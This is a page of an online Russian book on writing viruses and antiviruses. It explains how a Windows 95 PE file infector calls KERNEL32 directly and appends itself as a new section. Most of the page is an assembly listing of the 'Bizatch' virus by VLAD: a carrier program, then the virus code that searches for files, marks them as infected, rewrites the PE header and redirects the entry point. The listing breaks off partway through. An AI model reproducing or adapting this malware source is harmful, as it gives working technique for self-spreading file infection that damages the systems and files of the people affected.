А Б В Г Д Е Ж З И К Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ Э Ю Я
0-9 A B C D I F G H IJ K L M N O P Q R S TU V WX Y Z #


Чтение книги "Создаем вирус и антивирус" (страница 6)

   Вирусы под Windows 95

   Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.

   Вызов Windows 95 API

   Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.
   Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
   Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
   Вызов API приложениями выглядит приблизительно так:

   call API_FUNCTION_NAME

   например:

   call CreateFileA

   После компиляции этот вызов выглядит так:

   db 9Ah ;инструкция call
   dd ???? ;смещение в таблице переходов

   Код в таблице переходов похож на такой:

   jmp far [offset into import table]

   Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

   push function value
   call Module Entrypoint

   Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
   Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.

   Адреса и номера функций

   Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL

   Соглашения о вызовах

   Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:

   FARPROC GetProcAddress(
   HMODULE hModule, // описатель DLL−модуля
   LPCSTR lpszProc // имя функции
   );

   На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:

   push offset lpszProc
   push dword ptr [hModule]
   call GetProcAddress

   Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

   Заражение файлов формата PE-executable

   Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.
   Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
   Основные действия заражения PE-executable файла:
   1. Найти смещение заголовка PE-executable в файле.
   2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
   3. Считать весь PE-заголовок и таблицу объектов.
   4. Добавить новый объект в таблицу объектов.
   5. Установить точку входа RVA на новый объект.
   6. Дописать вирус к файлу по вычисленному физическому смещению.
   7. Записать измененный PE-заголовок в файл.
   Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
   Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
   Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
   Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
   Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

   RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
   *OBJ Alignment
   Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
   *OBJ Alignment
   Physical Size=(size of virus/File Alignment+1)*File Alignment
   Physical Offset=prev Physical Offset+prev Physical Size
   Object Flags=db 40h,0,0,C0h
   Entrypoint RVA=RVA

   Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

   Пример вируса под Windows 95

   .386
   locals
   jumps
   .model flat,STDCALL
   include win32.inc ;некоторые 32−битные константы и структуры
   L equ <LARGE>
   ;Определим внешние функции, к которым будет подключаться вирус
   extrn BeginPaint:PROC
   extrn CreateWindowExA:PROC
   extrn DefWindowProcA:PROC
   extrn DispatchMessageA:PROC
   extrn EndPaint:PROC
   extrn ExitProcess:PROC
   extrn FindWindowA:PROC
   extrn GetMessageA:PROC
   extrn GetModuleHandleA:PROC
   extrn GetStockObject:PROC
   extrn InvalidateRect:PROC
   extrn LoadCursorA:PROC
   extrn LoadIconA:PROC
   extrn MessageBeep:PROC
   extrn PostQuitMessage:PROC
   extrn RegisterClassA:PROC
   extrn ShowWindow:PROC
   extrn SetWindowPos:PROC
   extrn TextOutA:PROC
   extrn TranslateMessage:PROC
   extrn UpdateWindow:PROC
   ;Для поддержки Unicode Win32 интерпретирует некоторые функции
   ;для ANSI или расширенного набора символов.
   ;В качестве примера рассмотрим ANSI
   CreateWindowEx equ <CreateWindowExA>
   DefWindowProc equ <DefWindowProcA>
   DispatchMessage equ <DispatchMessageA>
   FindWindow equ <FindWindowA>
   GetMessage equ <GetMessageA>
   GetModuleHandle equ <GetModuleHandleA>
   LoadCursor equ <LoadCursorA>
   LoadIcon equ <LoadIconA>
   MessageBox equ <MessageBoxA>
   RegisterClass equ <RegisterClassA>
   TextOut equ <TextOutA>
   .data
   newhwnd dd 0
   lppaint PAINTSTRUCT <?>
   msg MSGSTRUCT <?>
   wc WNDCLASS <?>
   mbx_count dd 0
   hInst dd 0
   szTitleName db ”Bizatch by Quantum / VLAD activated”
   zero db 0
   szAlternate db ”more than once”,0
   szClassName db ”ASMCLASS32”,0
   ;Сообщение, выводимое в окне
   szPaint db ”Left Button pressed:”
   s_num db ”00000000h times.”,0
   ;Размер сообщения
   MSG_L EQU ($−offset szPaint)−1
   .code
   ;Сюда обычно передается управление от загрузчика.
   start:
   ;Получим HMODULE
   push L 0
   call GetModuleHandle
   mov [hInst],eax
   push L 0
   push offset szClassName
   call FindWindow
   or eax,eax
   jz reg_class
   ;Пространство для модификации строки заголовка
   mov [zero],” ”
   reg_class:
   ;Инициализируем структуру WndClass
   mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
   mov [wc.clsLpfnWndProc],offset WndProc
   mov [wc.clsCbClsExtra],0
   mov [wc.clsCbWndExtra],0
   mov eax,[hInst]
   mov [wc.clsHInstance], eax
   ;Загружаем значок
   push L IDI_APPLICATION
   push L 0
   call LoadIcon
   mov [wc.clsHIcon], eax
   ;Загружаем курсор
   push L IDC_ARROW
   push L 0
   call LoadCursor
   mov [wc.clsHCursor], eax
   ;Инициализируем оставшиеся поля структуры WndClass
   mov [wc.clsHbrBackground],COLOR_WINDOW+1
   mov dword ptr [wc.clsLpszMenuName],0
   mov dword ptr [wc.clsLpszClassName],offset szClassName
   ;Регистрируем класс окна
   push offset wc
   call RegisterClass
   ;Создаем окно
   push L 0 ;lpParam
   push [hInst] ;hInstance
   push L 0 ;Меню
   push L 0 ;hwnd родительского
   окна
   push L CW_USEDEFAULT ;Высота
   push L CW_USEDEFAULT ;Длина
   push L CW_USEDEFAULT ;Y
   push L CW_USEDEFAULT ;X
   push L WS_OVERLAPPEDWINDOW ;Style
   push offset szTitleName ;Title Style
   push offset szClassName ;Class name
   push L 0 ;extra style
   call CreateWindowEx
   ;Сохраняем HWND
   mov [newhwnd], eax
   ;Отображаем окно на экране
   push L SW_SHOWNORMAL
   push [newhwnd]
   call ShowWindow
   ;Обновляем содержимое окна
   push [newhwnd]
   call UpdateWindow
   ;Очередь сообщений
   msg_loop:
   ;Прочитаем следующее сообщение из очереди
   push L 0
   push L 0
   push L 0
   push offset msg
   call GetMessage
   ;Если функция GetMessage вернула нулевое значение, то завершаем
   ;обработку сообщений и выходим из процесса
   cmp ax,0
   je end_loop
   ;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
   push offset msg
   call TranslateMessage
   ;Передаем это сообщение назад в Windows
   push offset msg
   call DispatchMessage
   ;Переходим к следующему сообщению
   jmp msg_loop
   ;Выход из процесса
   end_loop:
   push [msg.msWPARAM]
   call ExitProcess
   ;Обработка сообщений окна. Win32 требует сохранения регистров
   ;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.
   ;Это позволит Ассемблеру сохранить их
   WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
   DWORD, lparam:DWORD
   LOCAL theDC:DWORD
   ;Проверим, какое сообщение получили, и перейдем к обработке
   cmp [wmsg],WM_DESTROY
   je wmdestroy
   cmp [wmsg],WM_RBUTTONDOWN
   je wmrbuttondown
   cmp [wmsg],WM_SIZE
   je wmsize
   cmp [wmsg],WM_CREATE
   je wmcreate
   cmp [wmsg],WM_LBUTTONDOWN
   je wmlbuttondown
   cmp [wmsg],WM_PAINT
   je wmpaint
   cmp [wmsg],WM_GETMINMAXINFO
   je wmgetminmaxinfo
   ;Данная программа не обрабатывает это сообщение.
   ;Передадим его Windows,
   ;чтобы оно было обработано по умолчанию
   jmp defwndproc
   ;Сообщение WM_PAINT (перерисовать содержимое окна)
   wmpaint:
   ;Подготовим окно для перерисовки
   push offset lppaint
   push [hwnd]
   call BeginPaint
   mov [theDC], eax
   ;Переведем в ASCII−формат значение mbx_count, которое
   ;показывает, сколько раз была нажата левая кнопка мыши
   mov eax,[mbx_count]
   mov edi, offset s_num
   call HexWrite32
   ;Вывод строки в окно
   push L MSG_L ;Длина строки
   push offset szPaint ;Строка
   push L 5 ;Y
   push L 5 ;X
   push [theDC] ;DC
   call TextOut
   ;Обозначим завершение перерисовки окна
   push offset lppaint
   push [hwnd]
   call EndPaint
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_CREATE (создание окна)
   wmcreate:
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение, не обрабатываемое данной программой, передаем Windows
   defwndproc:
   push [lparam]
   push [wparam]
   push [wmsg]
   push [hwnd]
   call DefWindowProc
   ;Выходим из обработки сообщения
   jmp finish
   ;Сообщение WM_DESTROY (уничтожение окна)
   wmdestroy:
   ;Закроем поток
   push L 0
   call PostQuitMessage
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_LBUTTONDOWN (нажата левая кнопка мыши)
   wmlbuttondown:
   inc [mbx_count]
   ;Обновим содержимое окна
   push L 0
   push L 0
   push [hwnd]
   call InvalidateRect
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
   wmrbuttondown:
   push L 0
   call MessageBeep
   ;Выходим из обработки сообщения
   jmp finish
   ;Сообщение WM_SIZE (изменен размер окна)
   wmsize:
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_GETMINMAXINFO (попытка изменить размер
   ;или положение окна)
   wmgetminmaxinfo:
   ;Заполним структуру MINMAXINFO
   mov ebx, [lparam]
   mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
   mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Выходим из обработки сообщения
   finish:
   ret
   WndProc endp
   ;Процедура перевода байта в ASCII−формат для печати. Значение,
   ;находящееся в регистре AL, будет записано в ASCII−формате
   ;по адресу ES:EDI
   HexWrite8 proc
   ;Разделяем байт на полубайты и загружаем их в регистры AH и AL
   mov ah,al
   and al,0Fh
   shr ah,4
   ;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
   ;соответствующих символов ASCII. Если число,
   ;записанное в полубайте, было больше 9,
   ;то значение в этом полубайте надо еще корректировать
   or ax,3030h
   ;Меняем полубайты местами, чтобы регистр AH содержал младший
   ;полубайт, а регистр AL – старший
   xchg al,ah
   ;Проверим, надо ли корректировать младший полубайт,
   ;если да – корректируем
   cmp ah, 39h
   ja @@4
   ;Проверим, надо ли корректировать старший полубайт,
   ;если да – корректируем
   @@1:
   cmp al,39h
   ja @@3
   ;Сохраним значение по адресу ES:EDI
   @@2:
   stosw
   ret
   ;Корректируем значение старшего полубайта
   @@3:
   sub al, 30h
   add al, ”A”–10
   jmp @@2
   ;Корректируем значение младшего полубайта
   @@4:
   sub ah, 30h
   add ah, ”A”–10
   jmp @@1
   HexWrite8 endp
   ;Процедура перевода слова в ASCII−формат для печати.
   ;Значение, находящееся в регистре AX, будет записано
   ;в ASCII−формате по адресу ES:EDI
   HexWrite16 proc
   ;Сохраним младший байт из стека
   push ax
   ;Загрузим старший байт в регистр AL
   xchg al,ah
   ;Переведем старший байт в ASCII−формат
   call HexWrite8
   ;Восстановим младший байт из стека
   pop ax
   ;Переведем младший байт в ASCII−формат
   call HexWrite8
   ret
   HexWrite16 endp
   ;Процедура перевода двойного слова в ASCII−формат для печати.
   ;Значение, находящееся в регистре EAX, будет записано
   ;в ASCII−формате по адресу ES:EDI
   HexWrite32 proc
   ;Сохраним младшее слово из стека
   push eax
   ;Загрузим старшее слово в регистр AX
   shr eax, 16
   ;Переведем старшее слово в ASCII−формат
   call HexWrite16
   ;Восстановим младшее слово из стека
   pop eax
   ;Переведем младшее слово в ASCII−формат
   call HexWrite16
   ret
   HexWrite32 endp
   ;Сделаем процедуру WndProc доступной извне
   public WndProc
   ends
   ;Здесь начинается код вируса. Этот код переписывается из файла
   ;в файл. Все вышеописанное – всего лишь программа−носитель
   vladseg segment para public ”vlad”
   assume cs:vladseg
   vstart:
   ;Вычислим текущий адрес
   call recalc
   recalc:
   pop ebp
   mov eax,ebp
   db 2Dh ;Код команды SUB AX
   subme dd 30000h+(recalc−vstart)
   ;Сохраним адрес в стеке
   push eax
   ;Вычислим стартовый адрес вирусного кода
   sub ebp,offset recalc
   ;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
   mov eax,[ebp+offset kern2]
   ;Проверим ключ. Если ключа нет, перейдем к точке 1
   cmp dword ptr [eax],5350FC9Ch
   jnz notkern2
   ;KERNEL найден, точка 2
   mov eax,[ebp+offset kern2]
   jmp movit
   ;Точка 2 не подошла, проверим точку 1
   notkern2:
   ;Возьмем адрес первой известной нам точки KERNEL
   mov eax,[ebp+offset kern1]
   ;Проверим ключ, если ключа нет – выходим
   cmp dword ptr [eax],5350FC9Ch
   jnz nopayload
   ;KERNEL найден, точка 1
   mov eax,[ebp+offset kern1]
   ;KERNEL найден, адрес точки входа находится в регистре EAX
   movit:
   ;Сохраним адрес KERNEL
   mov [ebp+offset kern],eax
   cld
   ;Запомним текущую директорию
   lea eax,[ebp+offset orgdir]
   push eax
   push 255
   call GetCurDir
   ;Инициализируем счетчик заражений
   mov byte ptr [ebp+offset countinfect],0
   ;Ищем первый файл
   infectdir:
   lea eax,[ebp+offset win32_data_thang]
   push eax
   lea eax,[ebp+offset fname]
   push eax
   call FindFile
   ;Сохраним индекс для поиска
   mov dword ptr [ebp+offset searchhandle],eax
   ;Проверим, найден ли файл. Если файл не найден,
   ;меняем директорию
   cmp eax,–1
   jz foundnothing
   ;Откроем файл для чтения и записи
   gofile:
   push 0
   push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
   push 3 ;OPEN_EXISTING
   push 0
   push 0
   push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
   lea eax,[ebp+offset fullname]
   push eax
   call CreateFile
   ;Сохраним описатель файла
   mov dword ptr [ebp+offset ahand],eax
   ;Проверим, не произошла ли ошибка.
   ;Если ошибка произошла, ищем следующий файл
   cmp eax,–1
   jz findnextone
   ;Поставим указатель позиции чтения/записи на поле
   ;со смещением PE−заголовка
   push 0
   push 0
   push 3Ch
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Считаем адрес PE−заголовка
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push 4
   lea eax,[ebp+offset peheaderoffset]
   push eax
   push dword ptr [ebp+offset ahand]
   call ReadFile
   ;Поставим указатель позиции чтения/записи на начало PE−заголовка
   push 0
   push 0
   push dword ptr [ebp+offset peheaderoffset]
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Считаем число байт, достаточное для вычисления полного размера
   ;PE−заголовка и таблицы объектов
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push 58h
   lea eax,[ebp+offset peheader]
   push eax
   push dword ptr [ebp+offset ahand]
   call ReadFile
   ;Проверим сигнатуру. Если ее нет, закрываем
   ;этот файл и ищем следующий
   cmp dword ptr [ebp+offset peheader],00004550h;
   jnz notape
   ;Проверим файл на зараженность. Если файл заражен,
   ;то закрываем этот файл и ищем следующий
   cmp word ptr [ebp+offset peheader+4ch],0F00Dh
   jz notape
   cmp dword ptr [ebp+offset 52],4000000h
   jz notape
   ;Поставим указатель позиции чтения/записи на начало PE−заголовка
   push 0
   push 0
   push dword ptr [ebp+offset peheaderoffset]
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Считаем весь PE−заголовок и таблицу объектов
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push dword ptr [ebp+offset headersize]
   lea eax,[ebp+offset peheader]
   push eax
   push dword ptr [ebp+offset ahand]
   call ReadFile
   ;Установим признак заражения
   mov word ptr [ebp+offset peheader+4ch],0F00Dh
   ;Найдем смещение таблицы объектов
   xor eax,eax
   mov ax, word ptr [ebp+offset NtHeaderSize]
   add eax,18h
   mov dword ptr [ebp+offset ObjectTableoffset],eax
   ;Вычислим смещение последнего (null) объекта в таблице объектов
   mov esi,dword ptr [ebp+offset ObjectTableoffset]
   lea eax,[ebp+offset peheader]
   add esi,eax
   xor eax,eax
   mov ax,[ebp+offset numObj]
   mov ecx,40
   xor edx,edx
   mul ecx
   add esi,eax
   ;Увеличим число объектов на 1
   inc word ptr [ebp+offset numObj]
   lea edi,[ebp+offset newobject]
   xchg edi,esi
   ;Вычислим относительный виртуальный адрес (Relative Virtual Address
   ;или RVA) нового объекта
   mov eax,[edi−5*8+8]
   add eax,[edi−5*8+12]
   mov ecx,dword ptr [ebp+offset objalign]
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset RVA],eax
   ;Вычислим физический размер нового объекта
   mov ecx,dword ptr [ebp+offset filealign]
   mov eax,vend−vstart
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset physicalsize],eax
   ;Вычислим виртуальный размер нового объекта
   mov ecx,dword ptr [ebp+offset objalign]
   mov eax,vend–vstart+1000h
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset virtualsize],eax
   ;Вычислим физическое смещение нового объекта
   mov eax,[edi−5*8+20]
   add eax,[edi−5*8+16]
   mov ecx,dword ptr [ebp+offset filealign]
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset physicaloffset],eax
   ;Обновим размер образа (размер в памяти) файла
   mov eax,vend−vstart+1000h
   add eax,dword ptr [ebp+offset imagesize]
   mov ecx,[ebp+offset objalign]
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset imagesize],eax
   ;Скопируем новый объект в таблицу объектов
   mov ecx,10
   rep movsd
   ;Вычислим точку входа RVA
   mov eax,dword ptr [ebp+offset RVA]
   mov ebx,dword ptr [ebp+offset entrypointRVA]
   mov dword ptr [ebp+offset entrypointRVA],eax
   sub eax,ebx
   add eax,5
   ;Установим значение, необходимое для возврата в носитель
   mov dword ptr [ebp+offset subme],eax
   ;Поставим указатель позиции чтения/записи на начало PE−заголовка
   push 0
   push 0
   push dword ptr [ebp+offset peheaderoffset]
Чтение онлайн



1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

Навигация по сайту
Реклама


Читательские рекомендации

Информация